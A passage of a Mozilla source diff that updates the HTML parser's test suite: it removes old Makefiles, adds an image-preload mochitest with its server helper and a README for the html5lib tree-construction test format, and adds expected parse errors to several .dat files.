-asserts-if(Android,1) skip-if((OSX==10.7||OSX==10.8)&&browserIsRemote) load 328751-1.html # Bug 849747
+skip-if((OSX==1007||OSX==1008)&&browserIsRemote) load 328751-1.html # Bug 849747
load 408939-1.html
load 423373-1.html
load 445171-1.html
@@ -53,3 +53,5 @@ load 696651-1.html
load view-source:699347-1.xml
load 721313-1.html
load view-source:742414-1.html
+load 981279-1.html
+load 982285-1.html
diff --git a/parser/htmlparser/tests/mochitest/Makefile.in b/parser/htmlparser/tests/mochitest/Makefile.in
deleted file mode 100644
index 91654785b..000000000
--- a/parser/htmlparser/tests/mochitest/Makefile.in
+++ /dev/null
@@ -1,96 +0,0 @@
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-DEPTH = @DEPTH@
-topsrcdir = @top_srcdir@
-srcdir = @srcdir@
-VPATH = @srcdir@
-relativesrcdir = @relativesrcdir@
-
-include $(DEPTH)/config/autoconf.mk
-
-MOCHITEST_FILES = parser_datreader.js \
- parser_web_testrunner.js \
- html5_tree_construction_exceptions.js \
- test_html5_tree_construction.html \
- test_html5_tree_construction_part2.html \
- test_bug102699.html \
- file_bug102699.sjs \
- test_bug174351.html \
- test_bug339350.xhtml \
- test_bug358797.html \
- test_bug396568.html \
- test_bug418464.html \
- test_bug460437.xhtml \
- test_bug502091.html \
- bug_502091_iframe.html \
- test_bug543062.html \
- file_bug543062.sjs \
- test_bug552938.html \
- test_bug552938-2.html \
- test_bug566879.html \
- test_compatmode.html \
- invalidchar.xml \
- file_bug534293.sjs \
- file_bug534293-slow.sjs \
- test_bug563322.xhtml \
- test_bug594730.html \
- file_bug594730-1.html \
- file_bug594730-2.html \
- file_bug594730-3.html \
- file_bug594730-4.html \
- file_bug594730-5.html \
- file_bug594730-6.html \
- file_bug594730-7.html \
- file_bug594730-8.html \
- file_bug594730-9.html \
- test_bug599584.html \
- iframe_bug599584.html \
- test_bug613662.html \
- test_bug613662.xhtml \
- test_bug639362.html \
- test_bug642908.html \
- file_bug642908.sjs \
- test_bug645115.html \
- test_bug655682.html \
- file_bug655682.sjs \
- test_bug667533.html \
- test_bug672453.html \
- file_bug672453_not_declared.html \
- file_bug672453_late_meta.html \
- file_bug672453_meta_restart.html \
- file_bug672453_meta_unsupported.html \
- file_bug672453_http_unsupported.html \
- file_bug672453_http_unsupported.html^headers^ \
- file_bug672453_bomless_utf16.html \
- file_bug672453_meta_utf16.html \
- file_bug672453_meta_non_superset.html \
- test_viewsource.html \
- test_bug715112.html \
- test_bug715739.html \
- test_bug716579.html \
- file_bug716579-8.html \
- file_bug716579-8.html^headers^ \
- file_bug716579-16.html \
- file_bug716579-16.html^headers^ \
- file_bug716579-8.xhtml \
- file_bug716579-8.xhtml^headers^ \
- file_bug716579-16.xhtml \
- file_bug716579-16.xhtml^headers^ \
- test_bug717180.html \
- file_bug717180.html \
- test_xml_mislabeled.html \
- test_bug709083.html \
- $(NULL)
-
-# Disabled test due to orange on Linux
-# test_bug568470.html \
-# file_bug568470.sjs \
-# file_bug568470-script.sjs \
-
-# Disable test due to frequent orange on Mac
-# test_bug534293.html \
-
-include $(topsrcdir)/config/rules.mk
diff --git a/parser/htmlparser/tests/mochitest/blue.png b/parser/htmlparser/tests/mochitest/blue.png
new file mode 100644
index 000000000..8df58f3a5
--- /dev/null
+++ b/parser/htmlparser/tests/mochitest/blue.png
Binary files differ
diff --git a/parser/htmlparser/tests/mochitest/dir_bug534293/Makefile.in b/parser/htmlparser/tests/mochitest/dir_bug534293/Makefile.in
deleted file mode 100644
index 1cc24f94d..000000000
--- a/parser/htmlparser/tests/mochitest/dir_bug534293/Makefile.in
+++ /dev/null
@@ -1,17 +0,0 @@
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-DEPTH = @DEPTH@
-topsrcdir = @top_srcdir@
-srcdir = @srcdir@
-VPATH = @srcdir@
-relativesrcdir = @relativesrcdir@
-
-include $(DEPTH)/config/autoconf.mk
-
-MOCHITEST_FILES = file_bug534293.sjs \
- $(NULL)
-
-include $(topsrcdir)/config/rules.mk
diff --git a/parser/htmlparser/tests/mochitest/dir_bug534293/moz.build b/parser/htmlparser/tests/mochitest/dir_bug534293/moz.build
deleted file mode 100644
index 895d11993..000000000
--- a/parser/htmlparser/tests/mochitest/dir_bug534293/moz.build
+++ /dev/null
@@ -1,6 +0,0 @@
-# -*- Mode: python; c-basic-offset: 4; indent-tabs-mode: nil; tab-width: 40 -*-
-# vim: set filetype=python:
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
diff --git a/parser/htmlparser/tests/mochitest/file_bug672453_meta_userdefined.html b/parser/htmlparser/tests/mochitest/file_bug672453_meta_userdefined.html
new file mode 100644
index 000000000..250f6fa67
--- /dev/null
+++ b/parser/htmlparser/tests/mochitest/file_bug672453_meta_userdefined.html
@@ -0,0 +1 @@
+<meta charset="x-user-defined">
diff --git a/parser/htmlparser/tests/mochitest/file_bug688580.js b/parser/htmlparser/tests/mochitest/file_bug688580.js
new file mode 100644
index 000000000..b567150f6
--- /dev/null
+++ b/parser/htmlparser/tests/mochitest/file_bug688580.js
@@ -0,0 +1,4 @@
+is(document.readyState, "interactive", "readyState should be interactive during defer.");
+is(state, "readyState interactive", "Bad state upon defer");
+state = "defer";
+
diff --git a/parser/htmlparser/tests/mochitest/file_img_picture_preload.html b/parser/htmlparser/tests/mochitest/file_img_picture_preload.html
new file mode 100644
index 000000000..e9b2c4c3b
--- /dev/null
+++ b/parser/htmlparser/tests/mochitest/file_img_picture_preload.html
@@ -0,0 +1,167 @@
+<!DOCTYPE html>
+<html>
+<!--
+ Helper for test_img_picture_preload.htm. Can be merged in to the test file
+ when dom.image.{picture,srcset} are removed and we don't need to do pref
+ flipping before the load.
+
+ https://bugzilla.mozilla.org/show_bug.cgi?id=1067345
+-->
+<head>
+ <title>Test for Bug 1067345</title>
+</head>
+<body onload="afterLoad();">
+ <script type="text/javascript">
+ var is = window.parent.is;
+ var ok = window.parent.ok;
+ var SimpleTest = window.parent.SimpleTest;
+ // Called with number of requests made
+ var notifyTestFinished = window.parent.childTestFinished;
+ var currentDPI = window.parent.currentDPI;
+
+ // This script is intentionally blocking the images below from
+ // loading. It issues sync XHRs to the sjs to wait for the files
+ // to be requested before unblocking DOM creation, then asserts
+ // that the same sources were selected by the preloader and the
+ // real DOM.
+
+ // Number of images to wait for before unblocking load
+ const EXPECTED_PRELOADS = 11;
+
+ function busyWait(waitms) {
+ var start = Date.now();
+ while (Date.now() < start + waitms);
+ }
+
+ // Send sync XHRs asking the sjs what images it's seen until we
+ // see EXPECTED_PRELOADS images. (If this test is timing out, you broke
+ // the preloader)
+ var preloadedImages = [];
+ while (preloadedImages.length < EXPECTED_PRELOADS) {
+ var request = new XMLHttpRequest();
+ request.open('GET', "./file_img_picture_preload.sjs?status", false);
+ request.send(null);
+ is(request.status, 200, "Getting status from sjs helper should succeed");
+ if (request.status === 200) {
+ var preloadedImages = JSON.parse(request.responseText);
+ }
+ }
+
+ // Ensure the DOM is still blocked on us before proceeding
+ is(document.querySelector("img"), null, "No <img> elements should exist yet");
+ </script>
+
+ <!-- All images below will be checked, use sources of the format
+ ./file_img_picture_preload.sjs?imgName:sourceName
+ Update numImages when adding or removing images below -->
+
+ <!-- Basic src -->
+ <img id="img1"
+ src="./file_img_picture_preload.sjs?img1:source1">
+ <!-- Basic srcset, no src -->
+ <img id="img2"
+ srcset="./file_img_picture_preload.sjs?img2:source1, ./file_img_picture_preload.sjs?img2:source2 2x, ./file_img_picture_preload.sjs?img2:source3 0.5x">
+ <!-- srcset + src, srcset should shadow entirley -->
+ <img id="img3"
+ srcset="./file_img_picture_preload.sjs?img3:source1, ./file_img_picture_preload.sjs?img3:source2 2x, ./file_img_picture_preload.sjs?img3:source3 0.5x">
+ <!-- Ditto with sizes selector -->
+ <img id="img4"
+ sizes="50vw"
+ srcset="./file_img_picture_preload.sjs?img4:source1 500w, ./file_img_picture_preload.sjs?img4:source2 200w, ./file_img_picture_preload.sjs?img4:source3 5w">
+ <!-- Default source shouldn't be selected -->
+ <img id="img5"
+ srcset="./file_img_picture_preload.sjs?img5:source1, ./file_img_picture_preload.sjs?img5:source2 2x"
+ src="./file_img_picture_preload.sjs?img5:source3">
+ <!-- Default source should be the 1x source, but srcset for others -->
+ <img id="img6"
+ srcset="./file_img_picture_preload.sjs?img6:source1 0.5x, ./file_img_picture_preload.sjs?img6:source2 2x"
+ src="./file_img_picture_preload.sjs?img6:source3">
+
+ <!-- Ensure we skip various invalid sources -->
+ <picture>
+ <source type="image/png">
+ <source type="image/png" srcset="">
+ <source media="(min-width: 1px)">
+ <source media="(min-width: 1px)" srcset=" ">
+ <source type="invalid/x-bogus-type" srcset="./file_img_picture_preload.sjs?img7:source1">
+ <source media="(unknown-query-value-thing: 1000something)" srcset="./file_img_picture_preload.sjs?img7:source2">
+ <source media="(unknown-query-value-thing: 1000something)" srcset="bogus ./file_img_picture_preload.sjs?img7:source3 ./file_img_picture_preload.sjs?img7:source4">
+ <img id="img7" src="./file_img_picture_preload.sjs?img7:source5">
+ </picture>
+
+ <!-- Should select matching sources with known type, and shouldn't select later sources that have closer densities-->
+ <picture>
+ <source type="invalid/x-unsupported-image-type" srcset="./file_img_picture_preload.sjs?img8:source1">
+ <source type="image/png" srcset="./file_img_picture_preload.sjs?img8:source2 2x">
+ <source type="image/png" srcset="./file_img_picture_preload.sjs?img8:source3 1x">
+ <img id="img8" src="./file_img_picture_preload.sjs?img8:source4" srcset="./file_img_picture_preload.sjs?img8:source5 2x">
+ </picture>
+
+ <!-- Should select matching sources by media, and shouldn't select later sources that have closer densities -->
+ <picture>
+ <source media="(bogusxx)" srcset="./file_img_picture_preload.sjs?img9:source1">
+ <source media="(minimum-width: 1px)" srcset="./file_img_picture_preload.sjs?img9:source2 2x">
+ <source media="(max-resolution: 0.5dppx)" srcset="./file_img_picture_preload.sjs?img9:source3 1x">
+ <source media="(min-resolution: 2dppx)" srcset="./file_img_picture_preload.sjs?img9:source4 1x">
+ <source media="(min-resolution: 1dppx)" srcset="./file_img_picture_preload.sjs?img9:source5 1x">
+ <source media="(min-resolution: 1dppx)" srcset="./file_img_picture_preload.sjs?img9:source6 2x">
+ <img id="img9" src="./file_img_picture_preload.sjs?img9:source7" srcset="./file_img_picture_preload.sjs?img9:source8 2x">
+ </picture>
+
+ <!-- Make sure we consider sizes properly in sources -->
+ <picture>
+ <source type="image/png"
+ sizes="10px"
+ srcset="./file_img_picture_preload.sjs?img10:source1 10w, ./file_img_picture_preload.sjs?img10:source2 20w">
+ <img id="img10" src="./file_img_picture_preload.sjs?img10:source3">
+ </picture>
+
+ <!-- Make sure we consider sizes properly -->
+ <img id="img11" sizes="10px"
+ srcset="./file_img_picture_preload.sjs?img11:source1 10w, ./file_img_picture_preload.sjs?img11:source2 20w"
+ src="./file_img_picture_preload.sjs?img11:source3">
+
+ <script type="text/javascript">
+ function afterLoad() {
+ // All images should have picked a source of the format
+ // imgName:sourceName, ensure we have one source per image and
+ // that it was preloaded.
+
+ is(preloadedImages.length, EXPECTED_PRELOADS,
+ "Should have exactly " + EXPECTED_PRELOADS + " preloaded URLs");
+
+ // Split "imgName:source" sources we saw preload by img name
+ var preloadByName = {};
+ for (var preload of preloadedImages) {
+ var split = preload.split(":");
+ // Ensure we didn't preload two sources for the same image
+ ok(preloadByName[split[0]] === undefined,
+ "Should not have queried multiple sources for " + split[0] +
+ " (got " + split[1] + ", already had " + preloadByName[split[0]] + ")");
+ preloadByName[split[0]] = split[1];
+ }
+
+ // Check all images, ensure each one had a preload
+ var images = document.querySelectorAll('img');
+ for (var img of images) {
+ var imgName = img.id;
+ if (img.currentSrc) {
+ var split = img.currentSrc.split("?")[1].split(":");
+ is(split[0], imgName,
+ "image " + imgName + " source matches element id");
+ is(split[1], preloadByName[imgName],
+ "image " + imgName + " source should match preloaded source");
+ // Remove from array
+ delete preloadByName[imgName];
+ } else {
+ // img loaded nothing
+ is(preloadByName[imgName], null,
+ "Should not have preloaded anything for image " + imgName);
+ }
+ }
+
+ notifyTestFinished(preloadedImages.length);
+ }
+ </script>
+</body>
+</html>
diff --git a/parser/htmlparser/tests/mochitest/file_img_picture_preload.sjs b/parser/htmlparser/tests/mochitest/file_img_picture_preload.sjs
new file mode 100644
index 000000000..e4a3ba780
--- /dev/null
+++ b/parser/htmlparser/tests/mochitest/file_img_picture_preload.sjs
@@ -0,0 +1,28 @@
+// Return a PNG, saving an array of query strings we see as state. When query
+// string is 'status', return array as JSON
+
+function handleRequest(request, response)
+{
+ var seenImages = getState("seenImages");
+ seenImages = seenImages ? JSON.parse(seenImages) : [];
+
+ response.setHeader("Cache-Control", "must-revalidate", false);
+
+ if (request.queryString == "status") {
+ response.setHeader("Content-Type", "text/javascript", false);
+ response.write(JSON.stringify(seenImages));
+ } else if (request.queryString == "reset") {
+ // Respond with how many requests we had seen, drop them
+ response.setHeader("Content-Type", "text/plain", false);
+ response.write(String(seenImages.length));
+ seenImages = [];
+ } else {
+ // Return an image
+ response.setStatusLine("1.1", 302, "Found");
+ response.setHeader("Location", "blue.png", false);
+ dump(request.queryString + '\n');
+ seenImages.push(request.queryString);
+ }
+
+ setState("seenImages", JSON.stringify(seenImages));
+}
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/Makefile.in b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/Makefile.in
deleted file mode 100644
index 83119c7a3..000000000
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/Makefile.in
+++ /dev/null
@@ -1,60 +0,0 @@
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-DEPTH = @DEPTH@
-topsrcdir = @top_srcdir@
-srcdir = @srcdir@
-VPATH = @srcdir@
-relativesrcdir = @relativesrcdir@
-
-include $(DEPTH)/config/autoconf.mk
-
-MOCHITEST_FILES = adoption01.dat \
- adoption02.dat \
- comments01.dat \
- doctype01.dat \
- entities01.dat \
- entities02.dat \
- html5test-com.dat \
- inbody01.dat \
- isindex.dat \
- pending-spec-changes.dat \
- pending-spec-changes-plain-text-unsafe.dat \
- plain-text-unsafe.dat \
- scriptdata01.dat \
- tables01.dat \
- tests10.dat \
- tests11.dat \
- tests12.dat \
- tests14.dat \
- tests15.dat \
- tests16.dat \
- tests17.dat \
- tests18.dat \
- tests19.dat \
- tests1.dat \
- tests20.dat \
- tests21.dat \
- tests22.dat \
- tests23.dat \
- tests24.dat \
- tests25.dat \
- tests26.dat \
- tests2.dat \
- tests3.dat \
- tests4.dat \
- tests5.dat \
- tests6.dat \
- tests7.dat \
- tests8.dat \
- tests9.dat \
- tests_innerHTML_1.dat \
- tricky01.dat \
- webkit01.dat \
- webkit02.dat \
- main-element.dat \
- $(NULL)
-
-include $(topsrcdir)/config/rules.mk
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/README.md b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/README.md
new file mode 100644
index 000000000..be41fa44f
--- /dev/null
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/README.md
@@ -0,0 +1,104 @@
+Tree Construction Tests
+=======================
+
+Each file containing tree construction tests consists of any number of
+tests separated by two newlines (LF) and a single newline before the end
+of the file. For instance:
+
+ [TEST]LF
+ LF
+ [TEST]LF
+ LF
+ [TEST]LF
+
+Where [TEST] is the following format:
+
+Each test must begin with a string "\#data" followed by a newline (LF).
+All subsequent lines until a line that says "\#errors" are the test data
+and must be passed to the system being tested unchanged, except with the
+final newline (on the last line) removed.
+
+Then there must be a line that says "\#errors". It must be followed by
+one line per parse error that a conformant checker would return. It
+doesn't matter what those lines are, although they can't be
+"\#document-fragment", "\#document", "\#script-off", "\#script-on", or
+empty, the only thing that matters is that there be the right number
+of parse errors.
+
+Then there \*may\* be a line that says "\#document-fragment", which must
+be followed by a newline (LF), followed by a string of characters that
+indicates the context element, followed by a newline (LF). If the string
+of characters starts with "svg ", the context element is in the SVG
+namespace and the substring after "svg " is the local name. If the
+string of characters starts with "math ", the context element is in the
+MathML namespace and the substring after "math " is the local name.
+Otherwise, the context element is in the HTML namespace and the string
+is the local name. If this line is present the "\#data" must be parsed
+using the HTML fragment parsing algorithm with the context element as
+context.
+
+Then there \*may\* be a line that says "\#script-off" or
+"\#script-in". If a line that says "\#script-off" is present, the
+parser must set the scripting flag to disabled. If a line that says
+"\#script-on" is present, it must set it to enabled. Otherwise, the
+test should be run in both modes.
+
+Then there must be a line that says "\#document", which must be followed
+by a dump of the tree of the parsed DOM. Each node must be represented
+by a single line. Each line must start with "| ", followed by two spaces
+per parent node that the node has before the root document node.
+
+- Element nodes must be represented by a "`<`" then the *tag name
+ string* "`>`", and all the attributes must be given, sorted
+ lexicographically by UTF-16 code unit according to their *attribute
+ name string*, on subsequent lines, as if they were children of the
+ element node.
+- Attribute nodes must have the *attribute name string*, then an "="
+ sign, then the attribute value in double quotes (").
+- Text nodes must be the string, in double quotes. Newlines aren't
+ escaped.
+- Comments must be "`<`" then "`!-- `" then the data then "` -->`".
+- DOCTYPEs must be "`<!DOCTYPE `" then the name then if either of the
+ system id or public id is non-empty a space, public id in
+ double-quotes, another space an the system id in double-quotes, and
+ then in any case "`>`".
+- Processing instructions must be "`<?`", then the target, then a
+ space, then the data and then "`>`". (The HTML parser cannot emit
+ processing instructions, but scripts can, and the WebVTT to DOM
+ rules can emit them.)
+- Template contents are represented by the string "content" with the
+ children below it.
+
+The *tag name string* is the local name prefixed by a namespace
+designator. For the HTML namespace, the namespace designator is the
+empty string, i.e. there's no prefix. For the SVG namespace, the
+namespace designator is "svg ". For the MathML namespace, the namespace
+designator is "math ".
+
+The *attribute name string* is the local name prefixed by a namespace
+designator. For no namespace, the namespace designator is the empty
+string, i.e. there's no prefix. For the XLink namespace, the namespace
+designator is "xlink ". For the XML namespace, the namespace designator
+is "xml ". For the XMLNS namespace, the namespace designator is "xmlns
+". Note the difference between "xlink:href" which is an attribute in no
+namespace with the local name "xlink:href" and "xlink href" which is an
+attribute in the xlink namespace with the local name "href".
+
+If there is also a "\#document-fragment" the bit following "\#document"
+must be a representation of the HTML fragment serialization for the
+context element given by "\#document-fragment".
+
+For example:
+
+ #data
+ <p>One<p>Two
+ #errors
+ 3: Missing document type declaration
+ #document
+ | <html>
+ | <head>
+ | <body>
+ | <p>
+ | "One"
+ | <p>
+ | "Two"
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/adoption01.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/adoption01.dat
index 0a1a01ac0..2e1127e51 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/adoption01.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/adoption01.dat
@@ -1,6 +1,8 @@
#data
<a><p></a></p>
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,10): adoption-agency-1.3
#document
| <html>
| <head>
@@ -12,6 +14,8 @@
#data
<a>1<p>2</a>3</p>
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,12): adoption-agency-1.3
#document
| <html>
| <head>
@@ -26,6 +30,8 @@
#data
<a>1<button>2</a>3</button>
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,17): adoption-agency-1.3
#document
| <html>
| <head>
@@ -40,6 +46,8 @@
#data
<a>1<b>2</a>3</b>
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,12): adoption-agency-1.3
#document
| <html>
| <head>
@@ -54,6 +62,9 @@
#data
<a>1<div>2<div>3</a>4</div>5</div>
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,20): adoption-agency-1.3
+(1,20): adoption-agency-1.3
#document
| <html>
| <head>
@@ -72,6 +83,16 @@
#data
<table><a>1<p>2</a>3</p>
#errors
+(1,7): expected-doctype-but-got-start-tag
+(1,10): unexpected-start-tag-implies-table-voodoo
+(1,11): unexpected-character-implies-table-voodoo
+(1,14): unexpected-start-tag-implies-table-voodoo
+(1,15): unexpected-character-implies-table-voodoo
+(1,19): unexpected-end-tag-implies-table-voodoo
+(1,19): adoption-agency-1.3
+(1,20): unexpected-character-implies-table-voodoo
+(1,24): unexpected-end-tag-implies-table-voodoo
+(1,24): eof-in-table
#document
| <html>
| <head>
@@ -87,6 +108,9 @@
#data
<b><b><a><p></a>
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,16): adoption-agency-1.3
+(1,16): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -100,6 +124,9 @@
#data
<b><a><b><p></a>
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,16): adoption-agency-1.3
+(1,16): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -114,6 +141,9 @@
#data
<a><b><b><p></a>
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,16): adoption-agency-1.3
+(1,16): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -129,6 +159,9 @@
#data
<p>1<s id="A">2<b id="B">3</p>4</s>5</b>
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,30): unexpected-end-tag
+(1,35): adoption-agency-1.3
#document
| <html>
| <head>
@@ -153,6 +186,11 @@
#data
<table><a>1<td>2</td>3</table>
#errors
+(1,7): expected-doctype-but-got-start-tag
+(1,10): unexpected-start-tag-implies-table-voodoo
+(1,11): unexpected-character-implies-table-voodoo
+(1,15): unexpected-cell-in-table-body
+(1,30): unexpected-implied-end-tag-in-table-view
#document
| <html>
| <head>
@@ -170,6 +208,10 @@
#data
<table>A<td>B</td>C</table>
#errors
+(1,7): expected-doctype-but-got-start-tag
+(1,8): unexpected-character-implies-table-voodoo
+(1,12): unexpected-cell-in-table-body
+(1,22): unexpected-character-implies-table-voodoo
#document
| <html>
| <head>
@@ -184,6 +226,9 @@
#data
<a><svg><tr><input></a>
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,23): unexpected-end-tag
+(1,23): adoption-agency-1.3
#document
| <html>
| <head>
@@ -196,6 +241,16 @@
#data
<div><a><b><div><div><div><div><div><div><div><div><div><div></a>
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,65): adoption-agency-1.3
+(1,65): adoption-agency-1.3
+(1,65): adoption-agency-1.3
+(1,65): adoption-agency-1.3
+(1,65): adoption-agency-1.3
+(1,65): adoption-agency-1.3
+(1,65): adoption-agency-1.3
+(1,65): adoption-agency-1.3
+(1,65): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -226,6 +281,9 @@
#data
<div><a><b><u><i><code><div></a>
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,32): adoption-agency-1.3
+(1,32): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -245,6 +303,7 @@
#data
<b><b><b><b>x</b></b></b></b>y
#errors
+(1,3): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -259,6 +318,9 @@
#data
<p><b><b><b><b><p>x
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,18): unexpected-end-tag
+(1,19): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/adoption02.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/adoption02.dat
index d18151b44..0502cf302 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/adoption02.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/adoption02.dat
@@ -1,6 +1,9 @@
#data
<b>1<i>2<p>3</b>4
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,16): adoption-agency-1.3
+(1,17): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -18,6 +21,11 @@
#data
<a><div><style></style><address><a>
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,35): unexpected-start-tag-implies-end-tag
+(1,35): adoption-agency-1.3
+(1,35): adoption-agency-1.3
+(1,35): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -29,3 +37,63 @@
| <address>
| <a>
| <a>
+
+#data
+<b><i><a><s><tt><div></b>first</b></div></tt></s></a>second</i>
+#errors
+3: Start tag seen without seeing a doctype first. Expected "<!DOCTYPE html>".
+25: End tag "b" violates nesting rules.
+34: Stray end tag "b".
+63: Stray end tag "i".
+#document
+| <html>
+| <head>
+| <body>
+| <b>
+| <i>
+| <a>
+| <s>
+| <tt>
+| <a>
+| <s>
+| <tt>
+| <div>
+| <b>
+| "first"
+| "second"
+
+#data
+<code foo="bar"><code><code><code><code></code></code></code></code>text</code>
+#errors
+16: Start tag seen without seeing a doctype first. Expected "<!DOCTYPE html>".
+#document
+| <html>
+| <head>
+| <body>
+| <code>
+| foo="bar"
+| <code>
+| <code>
+| <code>
+| <code>
+| "text"
+
+#data
+<code foo="bar"><code><code><code><div><code></div></code></code></code></code>text</code>
+#errors
+16: Start tag seen without seeing a doctype first. Expected "<!DOCTYPE html>".
+51: End tag "div" seen, but there were open elements.
+45: Unclosed element "code".
+58: No "code" element in scope but a "code" end tag seen.
+#document
+| <html>
+| <head>
+| <body>
+| <code>
+| foo="bar"
+| <code>
+| <code>
+| <code>
+| <div>
+| <code>
+| "text"
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/comments01.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/comments01.dat
index 44f187683..35ec6cced 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/comments01.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/comments01.dat
@@ -1,6 +1,7 @@
#data
FOO<!-- BAR -->BAZ
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -12,6 +13,8 @@ FOO<!-- BAR -->BAZ
#data
FOO<!-- BAR --!>BAZ
#errors
+(1,3): expected-doctype-but-got-chars
+(1,15): unexpected-bang-after-double-dash-in-comment
#document
| <html>
| <head>
@@ -23,6 +26,9 @@ FOO<!-- BAR --!>BAZ
#data
FOO<!-- BAR -- >BAZ
#errors
+(1,3): expected-doctype-but-got-chars
+(1,15): unexpected-char-in-comment
+(1,21): eof-in-comment
#document
| <html>
| <head>
@@ -33,6 +39,9 @@ FOO<!-- BAR -- >BAZ
#data
FOO<!-- BAR -- <QUX> -- MUX -->BAZ
#errors
+(1,3): expected-doctype-but-got-chars
+(1,15): unexpected-char-in-comment
+(1,24): unexpected-char-in-comment
#document
| <html>
| <head>
@@ -44,6 +53,10 @@ FOO<!-- BAR -- <QUX> -- MUX -->BAZ
#data
FOO<!-- BAR -- <QUX> -- MUX --!>BAZ
#errors
+(1,3): expected-doctype-but-got-chars
+(1,15): unexpected-char-in-comment
+(1,24): unexpected-char-in-comment
+(1,31): unexpected-bang-after-double-dash-in-comment
#document
| <html>
| <head>
@@ -55,6 +68,11 @@ FOO<!-- BAR -- <QUX> -- MUX --!>BAZ
#data
FOO<!-- BAR -- <QUX> -- MUX -- >BAZ
#errors
+(1,3): expected-doctype-but-got-chars
+(1,15): unexpected-char-in-comment
+(1,24): unexpected-char-in-comment
+(1,31): unexpected-char-in-comment
+(1,35): eof-in-comment
#document
| <html>
| <head>
@@ -65,6 +83,7 @@ FOO<!-- BAR -- <QUX> -- MUX -- >BAZ
#data
FOO<!---->BAZ
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -76,6 +95,8 @@ FOO<!---->BAZ
#data
FOO<!--->BAZ
#errors
+(1,3): expected-doctype-but-got-chars
+(1,9): incorrect-comment
#document
| <html>
| <head>
@@ -87,6 +108,8 @@ FOO<!--->BAZ
#data
FOO<!-->BAZ
#errors
+(1,3): expected-doctype-but-got-chars
+(1,8): incorrect-comment
#document
| <html>
| <head>
@@ -98,6 +121,8 @@ FOO<!-->BAZ
#data
<?xml version="1.0">Hi
#errors
+(1,1): expected-tag-name-but-got-question-mark
+(1,22): expected-doctype-but-got-chars
#document
| <!-- ?xml version="1.0" -->
| <html>
@@ -108,6 +133,8 @@ FOO<!-->BAZ
#data
<?xml version="1.0">
#errors
+(1,1): expected-tag-name-but-got-question-mark
+(1,20): expected-doctype-but-got-eof
#document
| <!-- ?xml version="1.0" -->
| <html>
@@ -117,6 +144,8 @@ FOO<!-->BAZ
#data
<?xml version
#errors
+(1,1): expected-tag-name-but-got-question-mark
+(1,13): expected-doctype-but-got-eof
#document
| <!-- ?xml version -->
| <html>
@@ -126,6 +155,8 @@ FOO<!-->BAZ
#data
FOO<!----->BAZ
#errors
+(1,3): expected-doctype-but-got-chars
+(1,10): unexpected-dash-after-double-dash-in-comment
#document
| <html>
| <head>
@@ -133,3 +164,15 @@ FOO<!----->BAZ
| "FOO"
| <!-- - -->
| "BAZ"
+
+#data
+<html><!-- comment --><title>Comment before head</title>
+#errors
+(1,6): expected-doctype-but-got-start-tag
+#document
+| <html>
+| <!-- comment -->
+| <head>
+| <title>
+| "Comment before head"
+| <body>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/doctype01.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/doctype01.dat
index ae457328a..cec663897 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/doctype01.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/doctype01.dat
@@ -21,6 +21,7 @@
#data
<!DOCTYPEhtml>Hello
#errors
+(1,9): need-space-after-doctype
#document
